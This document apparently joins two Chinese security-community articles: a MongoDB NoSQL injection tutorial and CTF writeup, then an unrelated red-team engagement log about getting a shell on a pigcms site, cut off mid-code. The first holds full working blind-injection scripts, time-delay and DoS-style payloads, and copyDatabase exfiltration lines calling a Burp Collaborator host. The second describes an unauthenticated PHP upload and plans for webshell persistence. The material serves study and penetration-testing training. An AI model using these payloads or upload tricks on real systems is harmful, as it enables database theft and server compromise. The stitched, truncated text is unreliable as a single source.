然后就是写脚本注入，本人还是喜欢二分法，速度快，也就是 `==` 需要替换为 `>` 或者
`<`，但是跑的过程中总会有部分失误的地方，所以两种样式的脚本都会贴上
# -*-coding:utf-8-*- import requests
# input url
url = "http://localhost/CTF/test89/find3.php"
def find_bind():
flag = ''
for i in range(1000):
low = 32
high = 128
while low < high:
mid = (low + high) >> 1
payload = "'});if(db.version()" + f"[{i}]>'{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
payload = "'});if(tojson(db)" + f"[{i}]>'{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
payload = "'});if(tojson(db.getCollectionNames())" + f"[{i}]>'{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
payload = "'});if(tojson(db.users.find()[0])" + f"[{i}]>'{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
data = {
'u': payload,
'p': '1'
}
# print(data)
res = requests.get(url=url, params=data)
if "welcome admin" in res.text:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
print(flag)
# 有时候卡顿会直接 break 退出, 所以注释掉了
# else:
# break
if __name__ == "__main__":
find_bind()
`==` 注入比较慢，本文采用多线程
# -*- coding: utf-8 -*- import threading
import requests
import random
import base64
user_agent = [
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"
]
# threading sql injection
class SQL(threading.Thread):
def __init__(self, func, args):
threading.Thread.__init__(self)
self.func = func
self.args = args
def getresult(self):
return self.res
def run(self):
self.res = self.func(*self.args)
# bind sql injection
def bind_sql(a, i):
lock = threading.Lock()
lock.acquire()
for mid in range(32, 128):
o = a + i
# payload = "'});if(db.version()" + f"[{o}]=='{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
# payload = "'});if(tojson(db)" + f"[{o}]=='{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
# payload = "'});if(tojson(db.getCollectionNames())" + f"[{o}]=='{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
payload = "'});if(tojson(db.users.find()[0])" + f"[{o}]=='{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
# print(payload)
headers = {'User-agent': user_agent[random.randint(0, 7)]}
data = {
'u': payload,
'p': '1'
}
# print(data)
res = requests.get(url=url, params=data, headers=headers)
# print(res.text)
if "welcome admin" in res.text:
return mid
# 跑快了容易429导致下面if执行而断片, 不必要时可注释
# if mid == 127:
# return 0
# lock.release()
def main(thread):
flag = ''
# 从第一位开始
a = 0
f = True
while f:
threads = []
for i in range(0, thread):
t = SQL(bind_sql, (a, i))
threads.append(t)
for i in range(0, thread):
threads[i].start()
for i in range(0, thread):
threads[i].join()
ch = threads[i].getresult()
# 以0结尾则停止注入
if ch == 0:
f = False
try:
flag = flag + chr(ch)
except:
pass
a = a + thread
print(flag)
if __name__ == '__main__':
url = "http://localhost/CTF/test89/find3.php"
# 一次输出几位
thread = 5
main(thread)
另一种盲注，也就是数组盲注
<?php
/*
* @ mongo find bind injection2
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$mongo = new MongoClient();
$db = $mongo->test;
$coll = $db->users;
$username = $_GET['u'];
$password = $_GET['p'];
$data = array(
'username'=>$username,
'password'=>$password
);
xdebug_var_dump($data);
$data = $coll->findOne($data);
if($data['username'] != null){
if($data['username'] == 'admin'){
echo 'welcome admin';
}else{
echo 'welcome user, you are not admin!';
}
}
else{
echo 'Cannot find users :(';
}
?>
通过数组正则读取信息
?u[$regex]=^a&p[$regex]=^flag.*$
然后写脚本爆破
# -*-coding:utf-8-*- import requests
import string
# input url
url = "http://localhost/CTF/test89/find4.php"
dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + ':{}-_!`'
def find_bind():
flag = ''
for i in range(1000):
for mid in dic:
guess = flag + mid
payload = "^" + guess + ".*$"
data = {
'u[$regex]': '^a',
'p[$regex]': payload
}
# print(data)
res = requests.get(url=url, params=data)
# print(res.text)
if "welcome admin" in res.text:
flag += mid
print(flag)
break
# if mid == '`':
# break
if __name__ == "__main__":
find_bind()
**find 时间盲注**
高版本下MongoDB添加了sleep()函数，我们利用这个sleep()函数和闭合的技巧来实现基于时间的盲注
<?php
/*
* @ mongo find bind injection3
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$username = $_GET['u'];
$password = $_GET['p'];
$query = "function(){var data = db.users.findOne({username:'$username',password:'$password'});return data;}";
$mongo = new mongoclient();
$db = $mongo->test;
xdebug_var_dump($query);
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
return true;
}else{
return false;
}
}else{
echo $data['errmsg'];
}
?>
通过是否查询的到信息来决定是否延时
?u='});if(db.version()[0]=='2'){return sleep(1000);};var fuck = ({'test':'&p=1
多线程还是容易乱，调到一线程就行
# -*- coding: utf-8 -*- import threading
import requests
import random
import time
user_agent = [
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"
]
# threading sql injection
class SQL(threading.Thread):
def __init__(self, func, args):
threading.Thread.__init__(self)
self.func = func
self.args = args
def getresult(self):
return self.res
def run(self):
self.res = self.func(*self.args)
# bind sql injection
def bind_sql(a, i):
lock = threading.Lock()
lock.acquire()
for mid in range(32, 128):
o = a + i
# payload = "'});if(db.version()" + f"[{o}]=='{chr(mid)}')" + "{return sleep(1000)};var fuck = ({'test':'"
# payload = "'});if(tojson(db)" + f"[{o}]=='{chr(mid)}')" + "{return sleep(1000)};var fuck = ({'test':'"
# payload = "'});if(tojson(db.getCollectionNames())" + f"[{o}]=='{chr(mid)}')" + "{return sleep(1000)};var fuck = ({'test':'"
payload = "'});if(tojson(db.users.find()[0])" + f"[{o}]=='{chr(mid)}')" + "{return sleep(1000)};var fuck = ({'test':'"
# print(payload)
headers = {'User-agent': user_agent[random.randint(0, 7)]}
data = {
'u': payload,
'p': '1'
}
before_time = time.time()
# print(data)
res = requests.get(url=url, params=data, headers=headers)
after_time = time.time()
offset = after_time - before_time
# print(res.text)
if offset > 1:
return mid
# 跑快了容易429导致下面if执行而断片, 不必要时可注释
# if mid == 127:
# return 0
lock.release()
def main(thread):
flag = ''
# 从第一位开始
a = 0
f = True
while f:
threads = []
for i in range(0, thread):
t = SQL(bind_sql, (a, i))
threads.append(t)
for i in range(0, thread):
threads[i].start()
for i in range(0, thread):
threads[i].join()
ch = threads[i].getresult()
# 以0结尾则停止注入
if ch == 0:
f = False
try:
flag = flag + chr(ch)
except:
pass
a = a + thread
print(flag)
if __name__ == '__main__':
url = "http://localhost/CTF/test89/find5.php"
# 一次输出几位
thread = 1
main(thread)
如果 sleep 无法使用的话，可以使用类似 DOS 攻击的延时操作
?u='});if(db.version()[0]=='2'){return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':'&p=1
DOS 攻击payload是属于叠加的，所以提高线程很容易一下就崩了, 而且单线程还要延时跑
# -*-coding:utf-8-*- import requests
import time
# input url
url = "http://localhost/CTF/test89/find5.php"
def find_bind():
flag = ''
for i in range(1000):
for mid in range(32, 128):
# payload = "'});if(db.version()" + f"[{i}]=='{chr(mid)}')" + "{return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':'"
# payload = "'});if(tojson(db)" + f"[{i}]=='{chr(mid)}')" + "{return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':'"
# payload = "'});if(tojson(db.getCollectionNames())" + f"[{i}]=='{chr(mid)}')" + "{return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':'"
payload = "'});if(tojson(db.users.find()[0])" + f"[{i}]=='{chr(mid)}')" + "{return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':"
# print(payload)
data = {
'u': payload,
'p': '1'
}
# print(data)
before_time = time.time()
res = requests.get(url=url, params=data)
after_time = time.time()
offset = after_time - before_time
# print(offset)
time.sleep(1)
if offset > 1:
flag += chr(mid)
print(flag)
break
# if mid == 127:
# break
if __name__ == "__main__":
find_bind()
然后另一种以数组方式注入就无法实现实现时间盲注
> db.users.find({'username': {'$regex': '^a'}, 'password': {'$where': 'function(){sleep(1000);}'}})
error: { "$err" : "invalid operator: $where", "code" : 10068 }
**copyDatabase+findOne 外带注入**
(Burp > Burp Collaborator client > Copy to clipboard)
db.copyDatabase('test','users',db.version()+'.5agd99kvce0rog1bz0pm23v16sci07.burpcollaborator.net')
db.copyDatabase('test','users',tojson(db)+'.5agd99kvce0rog1bz0pm23v16sci07.burpcollaborator.net')
后面的有特殊字符就不好发，采用 javascript正则替换特殊字符为空
db.copyDatabase('test','users',tojson(db.getCollectionNames()).replace(/[^0-9a-zA-Z]/gm, "")+'.e1g483buvimfd8qd7j2jltydj4pvdk.burpcollaborator.net')
db.copyDatabase('test','users',tojson(db.users.findOne({},{_id:0})).replace(/[^0-9a-zA-Z]/gm, "")+'.e1g483buvimfd8qd7j2jltydj4pvdk.burpcollaborator.net')
但是直接嵌入 payload 中会发现有这个问题
Assertion: 10298:can't temprelease nested write lock
mongdb 把嵌套写入的方式锁住了，所以一般不在数据库中执行可能几乎用不上。
### where条件注入
> 使用$where运算符可以将包含JavaScript表达式的字符串或完整的JavaScript函数传递给MongoDB来执行
**有回显拼接注入**
<?php
/*
* @ mongo where injection
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$mongo = new mongoclient();
$db = $mongo->test;
$coll = $db->users;
$username = $_GET['u'];
$password = $_GET['p'];
$query = array('$where'=>"function() {if(this.username == '$username' && this.password == '$password') {return true;}}");
xdebug_var_dump($query);
$result = $coll->find($query);
if ($result->count() > 0) {
foreach ($result as $user) {
echo 'username: '.$user['username']."<br />";
echo 'password: '.$user['password']."</p>";
}
}
else{
echo 'Cannot find users :(';
}
我们只需要在function中拼接我们需要的语句再返回就行了
?u='||1){return true;}}//&p=1
这样可以带出该集合下的所有用户
**where 布尔盲注**
然后可以制定特定的 payload 盲注据库名和集合
?u='||db.version()[0]=='2'){return true;}else{return false;}if('&p=1
根据正确返回和错误返回的特征进行判断，正确返回用户
错误返回未找到此用户
`==` 用多线程跑
# -*- coding: utf-8 -*- import threading
import requests
import random
import base64
user_agent = [
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"
]
# threading sql injection
class SQL(threading.Thread):
def __init__(self, func, args):
threading.Thread.__init__(self)
self.func = func
self.args = args
def getresult(self):
return self.res
def run(self):
self.res = self.func(*self.args)
# bind sql injection
def bind_sql(a, i):
lock = threading.Lock()
lock.acquire()
for mid in range(32, 128):
o = a + i
# payload = "'||db.version()" + f"[{o}]=='{chr(mid)}')" + "{return true;}else{return false;}if('"
# payload = "'||tojson(db)" + f"[{o}]=='{chr(mid)}')" + "{return true;}else{return false;}if('"
# payload = "'||tojson(db.getCollectionNames())" + f"[{o}]=='{chr(mid)}')" + "{return true;}else{return false;}if('"
payload = "'||tojson(db.users.find()[0])" + f"[{o}]=='{chr(mid)}')" + "{return true;}else{return false;}if('"
# print(payload)
headers = {'User-agent': user_agent[random.randint(0, 7)]}
data = {
'u': payload,
'p': ''
}
# print(data)
res = requests.get(url=url, params=data, headers=headers)
# print(res.text)
if "user1" in res.text:
return mid
# 跑快了容易429导致下面if执行而断片, 不必要时可注释
# if mid == 127:
# return 0
# lock.release()
def main(thread):
flag = ''
# 从第一位开始
a = 0
f = True
while f:
threads = []
for i in range(0, thread):
t = SQL(bind_sql, (a, i))
threads.append(t)
for i in range(0, thread):
threads[i].start()
for i in range(0, thread):
threads[i].join()
ch = threads[i].getresult()
# 以0结尾则停止注入
if ch == 0:
f = False
try:
flag = flag + chr(ch)
except:
pass
a = a + thread
print(flag)
if __name__ == '__main__':
url = "http://localhost/CTF/test89/where1.php"
# 一次输出几位
thread = 5
main(thread)
**where 时间盲注**
拿一道真实的例题来讲
<?php
/*
* @ mongo where bind injection
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$username = filter_var($_GET['u']);
if (preg_match("/(eval|sleep|this|and|or)/i", $username) == 1){
die('Hacker :(');
}
$mongo = new mongoclient();
$db = $mongo->test;
$coll = $db->user;
$query = array('$where' => "if(this.username == '$username') {return true;}");
xdebug_var_dump($query);
$data = $coll->find($query);
$data->count();
很明显 $where 存在拼接注入, 如果能用 sleep 那么 payload 将会是这样的
?u='||db.version()[0]=='1'){return true;}else{sleep(1000);}if('
不能使用的话就是用 DOS payload
?u='||db.version()[0]=='1'){return true;}else{(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})()}if('
在响应中我们可以看到延时是否成功
[conn1] query test.users query: { $where: "if(this.username == ''||db.version()[0]=='1'){return true;}else{(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); ..." } nscanned:10 reslen:20 9999ms
## [CyBRICS-CTF-Quals-2019]NopeSQL
[题目链接](https://nopesql-cybrics2019quals.ctf.su/index.php)
上来扫到有 .git 泄露，用 GitHack 提取，提取到了 index.php 的源码，重点部分如下
function auth($username, $password) {
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
if (isset($document) && isset($document->password)) {
return true;
}
return false;
}
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
$user = auth($_COOKIE['username'], $_COOKIE['password']);
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$user = auth($_POST['username'], $_POST['password']);
if ($user) {
setcookie('username', $_POST['username']);
setcookie('password', $_POST['password']);
}
}
通过 POST 传参会自动设置为 Cookie 然后在 `$raw_query` 可以直接进行 Nosql 的拼接注入，无过滤，那我们需要达到的效果如下
{"username":{"$regex":"^a"},"password":{"$ne":"1"}}
匹配 admin 用户但是密码不等于1，这样就能准确的匹配到 admin 账号，POST传参如下
username[$regex]=^a&password[$ne]=1
但是本地测试后发现是 json_decode 搞得鬼，不能传数组过去，但是想到json传参有个二次赋值
username=1&password=","password":{"$ne":"1"},"username":{"$regex":"^a"},"$where":"1
这样拼接进去
{"username":"1","password":{"$ne":"1"},"username":{"$regex":"^a"},"$where":"1"}
username 相当于二次赋值，用正则去匹配，$where 则是达成一个永恒的正确条件，前提是前面查询不出错
进来以后接着往下看其他功能
<?php
$filter = $_GET['filter'];
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],
['$limit' => 5],
];
$filters = [
['$project' => ['category' => $filter]]
];
$cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>
>
> 聚合（aggregate）是基于数据处理的聚合管道，每个文档通过一个由多个阶段（stage）组成的管道，可以对每个阶段的管道进行分组、过滤等功能，然后经过一系列的处理，输出相应的结果
**注: mongodb 2.0.4 shell 没有这个功能，所以以下步骤采用了 mongodb 4.2.15 shell**
与 SQL 相比如下
SQL 操作/函数 | mongodb聚合操作
---|---
where | $match
group by | $group
having | $match
select | $project
order by | $sort
limit | $limit
sum() | $sum
count() | $sum
join | $lookup (v3.2 新增)
**可以在aggregate()方法上使用的聚合运算符**
运算符 | 说明
---|---
$project |
通过重命名，添加或删除字段重塑文档。你也可以重新计算值，并添加子文档。例如，此例子包括title并排除name：{$project:{title:1,name:0}}；该例是把name重命名为title的例子:{$project{title:”$name”}}；这个例子是添加一个新的total字段，并用price和tax字段计算它的值的例子:{$project{total:{$add:[“$price”,”$tax”]}}}
$match | 通过使用query对象运算符来过滤文档集
$limit | 限定可以传递到聚合操作的下一个管道中的文档数量。例如{$limit:5}
$skip | 指定处理聚合操作的下一个管道前跳过的一些文档
$unwind | 指定一个数组字段用于分割，对每个值创建一个单独的文档。例如{$unwind:”$myArr”}
$group |
把文档分成一组新的文档用于在管道中的下一级。新对象的字段必须在$group对象中定义。你还可以把表2中列出的分组表达式运算符应用到该组的多个文档中。例如，使用下面的语句汇总value字段：{$group:{set_id:”$0_id”,total:{$sum:”$value”}}}
$sort |
在把文档传递给处理聚合操作的下一个管道前对它们排序。排序指定一个带有field:<sort_order>属性的对象，其中<sort_order>
**聚合 $group 表达式运算符**
运算符 | 说明
---|---
$addToSet | 返回一组文档中所有文档所选字段的全部唯一值的数组。例如:colors:{$addToSet:”color”}
$first | 返回一组文档中一个字段的第一个值。例如：firstValue:{$first:”$value”}
$last | 返回一组文档中一个字段的最后一个值。例如:lastValue:{$last:”$value”}
$max | 返回一组文档中一个字段的最大值。例如:maxValue:{$max:”$value”}
$min | 返回一组文档中一个字段的最小值。例如:minValue:{$min:”$value”}
$avg | 返回一组文档中以个字段的平均值。例如:avgValue:{$avg:”$value”}
$push | 返回一组文档中所有文档所选字段的全部值的数组。例如:username:{$push:”$username”}
$sum | 返回一组文档中以个字段的全部值的总和。例如:total:{$sum:”$value”}
**可用在聚合表达式的字符串和算术运算符**
运算符 | 说明
---|---
$add | 计算数值的总和。例如：valuePlus5:{$add:[“$value”,5]}
$divide | 给定两个数值，用第一个数除以第二个数。例如：valueDividedBy5:{$divide:[“$value”,5]}
$mod | 取模。例如:{$mod:[“$value”,5]}
$multiply | 计算数值数组的乘积。例如:{$multiply:[“$value”,5]}
$subtract | 给定两个数值，用第一个数减去第二个数。例如:{$subtract:[“$value”,5]}
$concat | 连接两个字符串 例如：{$concat:[“str1”,”str2”]}
$strcasecmp | 比较两个字符串并返回一个整数来反应比较结果。例如 {$strcasecmp:[“$value”,”$value”]}
$substr | 返回字符串的一部分。例如:hasTest：{$substr:[“$value”,”test”]}
$toLower | 将字符串转化为小写。
$toUpper | 将字符串转化为大写。
在使用aggregate()聚合函数时，在里面是可以使用条件判断语句的。在MongoDB中 `$cond`表示if判断语句，匹配的符号使用
`$eq`，连起来为`[$cond][if][$eq]`，当使用多个判断条件时重复该语句即可。例如：
db.users.aggregate(
[
{
$project:
{
"authority":
{
$cond: { if : { $eq :["$username","admin"]}, then : "$username" , else: "employee"}
},
"checkpass":"$password"}
}
]
);
先是对 `$username` 和 `$password` 重命名为 authority 和 checkpass，当 `$username` 检测为
`admin` 时, 返回 `$username` 本身的值, 其余则返回字符串 `employee`，后面则是直接输出与之对应的密码。
回顾本题，首先看 `$pipline` ，将 `$category` 重命名为 `_id`，然后列出再排列再选取前5个数据输出，再看
`$filter`，会把 `$filter` 输出的值重命名为 category，那我们可以在 `$project` 中插入 `$cond`
判断语句，通过`if` 条件语句带出值为 `flags` 的 `$category`，其余则是输出字符串 `*`，如下：
db.news.aggregate(
[
{
$project:
{
category:
{
$cond: { if: { $eq: [ "$category", "flags"] }, then: $title, else: "*" }
}
}
}
]
)
转成 php 数组形式传入filter 参数，当然测试后发现了排序问题，有些传过去会导致我们的 flags 排序靠后所以看不到
?filter[$cond][if][$eq][]=$category&filter[$cond][if][$eq][]=flags&filter[$cond][then]=$title&filter[$cond][else]=*
提示 `This is a flag text`，然后修改 $title 为 $text
?filter[$cond][if][$eq][]=$category&filter[$cond][if][$eq][]=flags&filter[$cond][then]=$text&filter[$cond][else]=*
得到 flag
## 小结
对于外部拼接查询语句的内容，需对特殊字符严格过滤或转义，例如 $ 字符；对于 JavaScript 注入，$where 和 execute 方法尽量少用。
上述就是 MongoDB 特性注入的全部内容，如有不足，希望各位师傅踊跃提出！ | 社区文章 |
# 一、简介：
领导通知，让我打十天攻防，前四天，平平无奇，两个权限，web系统都是外包的，没打进核心内网。
这次攻防，没有给靶标，也没有给资产，全靠自己进行信息搜集。
由于本人不会钓鱼，所以只能打打外网了。
# 二、前期信息搜集
信息搜集主要以厂商系统为主，通过使用fofa，云悉，查ICP备案，APP脱壳逆向，公众号接口，小程序，天眼查查母公司以及子公司的备案和资产信息。通过能直接获取到的资产信息，进行二次信息搜集，主要是以C段,B段和目录扫描为主。
# 三、第五六七天
## 3.1 测试网站的功能点，想办法黑盒获取权限。
第五天主要是以代码审计为主。
通过信息找到找到子公司的一个备案网站系统。
根据左上角的功能提示，发现网站存在登录和注册功能，因此尝试注册一个账号。
点击注册按钮，发现跳转到登录界面。很奇怪，貌似注册功能无法正常使用。
f12查看源码发现端倪，注册相关的实现代码已经被注释掉了。
因此将注释符号删除，并使用注册功能注册了账号
此时使用注册功能成功注册了一个账号
并登录成功。
寻找上传接口，尝试文件上传。但是发现功能点似乎无法正常使用。
f12抓取上传接口的数据包。
访问该接口，上传表单成功出现。
尝试上传正常图片，均不能正常使用。提示都是文件大小不符合。
## 3.2 尝试利用TP框架漏洞获取权限
尝试尝试寻找后台，也没有找到。
尝试寻找SQL注入，没有找到。
此时发现该网站系统使用了thinkphp框架，但是具体不知道是哪个版本。
常用于获取tp框架版本的方法都是利用报错或者敏感文件，但是这里，似乎都没有。
盲打一波tp5的rce，均失败。
此时陷入瓶颈期。
想到了，该系统一定是基于tp框架开发的，但是具体是哪个CMS这里还未知，使用云悉获取该CMS信息也失败了。
## 3.3 尝试利用cms的已知漏洞获取网站权限和数据
此时无意间发现，上传接口的title中，泄露了该CMS信息，该cms为pigcms。
此时搜索有关该CMS的历史漏洞，通过cnvd平台。
尝试利用SQL注入漏洞，复现后均失败。
## 3.4 寻找CMS源码
**注：此处找到的源码版本不一定会和目标站点一致。**
尝试去寻找源码。官网看了一眼，真的贵。离谱。怎么可能花钱。
通过网盘搜索，百度搜索，谷歌搜索的方式，下载了源码。
本地环境搭建。
看着还挺像那么回事的。
确定后台路径。
本机后台
目标站点后台。
这后台长的不怎么像，影响不大。
试了一下初始密码，没进去。
看了一下后台，注入漏洞挺多的，有tp3.1的注入，也有pigcms的注入，也能文件上传GETSHELL，也能模板注入GETSHELL。
## 3.5 白加黑代码审计
### 3.5.1 前台任意文件上传GETSHELL
试了一下常规的未授权测试方法，均失败，因此只能考虑审计出前台漏洞了。这里用自己之前写的一个工具，遍历当前目录下指定后缀的文件路径。
将路径文件字典导入`burpsuite`的`intruter`模块的`payload`中，并去掉`payload encoding`前面的勾。
开始爆破。并根据response判断哪些文件是未授权访问的。
此时成功找到了未授权的入口文件。
并发现了两处关于文件上传的函数。
`action_picUpload`
public function action_picUpload(){
$error=0;
if (isset($_FILES['thumb'])){
$photo=$_FILES['thumb'];
if(substr($photo['type'], 0, 5) == 'image') {
switch ($photo['type']) {
case 'image/jpeg':
case 'image/jpg':
case 'image/pjpeg':
$ext = '.jpg';
break;
case 'image/gif':
$ext = '.gif';
break;
case 'image/png':
case 'image/x-png':
$ext = '.png';
break;
default:
$error=-1;
break;
}
if($error==0){
$time=SYS_TIME;
$year=date('Y',$time);
$month=date('m',$time);
$day=date('d',$time);
$pathInfo=upFileFolders($time);
$dstFolder=$pathInfo['path'];
$dstFile=ABS_PATH.'upload'.DIRECTORY_SEPARATOR.'temp'.$ext;
//the size of file uploaded must under 1M
if($photo['size']>2000000){
$error=-2;
return $error;
}
}else {
return $error;
}
//if no error
if($error==0){
$rand=randStr(4);
//delete primary files
if(file_exists($dstFolder.$time.$rand.$ext)){
unlink($dstFolder.$time.$rand.$ext);
}
if ($ext!='.gif'&&$ext!='.png'){
//save the temporary file
move_uploaded_file($photo['tmp_name'],$dstFile);
$imgInfo=getimagesize($dstFile);
//generate new files
$imageWidth=intval($_POST['width'])!=0?intval($_POST['width']):$imgInfo[0];
$imageHeight=intval($_POST['height'])!=0?intval($_POST['height']):$imgInfo[1];
bpBase::loadSysClass('image');
image::zfResize($dstFile,$dstFolder.$time.$rand.'.jpg',$imageWidth,$imageHeight,1|4,2);
$ext='.jpg';
//
}else {
move_uploaded_file($photo['tmp_name'],$dstFolder.$time.$rand.$ext);
}
if (isset($_POST['channelid'])){//内容缩略图
$channelObj=bpBase::loadAppClass('channelObj','channel');
$thisChannel=$channelObj->getChannelByID($_POST['channelid']);
$articleObj=bpBase::loadAppClass('articleObj','article');
$articleObj->setOtherThumb($thisChannel,$dstFile,$dstFolder,$time.$rand,'jpg');
}
if ($ext!='.gif'&&$ext!='.png'){
@unlink($dstFile);
}
$location='http://'.$_SERVER['HTTP_HOST'].CMS_DIR_PATH.'/upload/images/'.$year.'/'.$month.'/'.$day.'/'.$time.$rand.$ext;
$error=0;
}
}else {
$error=-1;
}
}else {
$error=-1;
}
if ($error==0){
echo $location;
}else {
$errors=array(-1=>'你上传的不是图片',-2=>'文件不能超过2M',-3=>'图片地址不正确');
echo $errors[intval($error)];
}
}
`action_picUpload`的逻辑是，上传的图片文件时，`name=thumb`，`content-type`的值为`switch`选择结构中的`image/jpg`时，指定上传后，文件的后缀名`ext`是`jpg`。文件名的命名是随机的，根据时间指定。
读懂逻辑后发现，此处的action_picUpload是无法上传文件获取权限的。
继续审计第二次上传的函数。
`action_flashUpload`
阅读第二个上传函数的逻辑发现，当`name`的值是`filepath`，并且`content-type`的值是flash格式时，能够上传成功，上传后的后缀名是由`filename`的文件名后缀来确定的。
构造文件上传的poc数据包
发现上传成功，回显php文件路径。
查看本地监听的文件路径生成情况，并确定php文件的最后路径。
访问后，phpinfo被成功执行。
尝试上传到目标站点，并上传成功。
此时跟队友分享喜悦，并准备周一打内网。
由于和裁判沟通后，裁判要求，漏洞尽量要周一交。（意思是周末不攻防）
并得知提交0day漏洞是有额外加分。
### 3.5.2 蓝队周末居然上班
等到周六后，下午访问一下phpinfo看看。结果发现，蓝队居然上班了。phpinfo的页面内容变成了hack.
页面不是phpinfo？重新上传一下，好家伙，不讲武德，裁判都说休战了，你居然给我搞事情。
这是之前已经成功执行的截图。
离谱的一批。
继续审计
### 3.5.3 数据导出+可能的任意文件写入漏洞。
周日，开始重新审计。现在审计的思路主要是想办法拿到数据，并进入后台改配置，这样只要网站不关闭，我就有的是办法做webshell层面的权限维持，后面再做系统层面的权限维持。
private function export_database($tables,$sqlcompat,$sqlcharset,$sizelimit,$action,$fileid,$random,$tableid,$startfrom) {
$dumpcharset = $sqlcharset ? $sqlcharset : str_replace('-', '', DB_CHARSET);
$fileid = ($fileid != '') ? $fileid : 1;
if($fileid==1 && $tables) {
if(!isset($tables) || !is_array($tables)) showMessage('请选择要备份的表');
$random = mt_rand(1000, 9999);
setCache('backupTables',serialize($tables));
} else {
if(!$tables = unserialize(getCache('backupTables'))) showMessage('请选择要备份的表');
}
if($sqlcharset) {
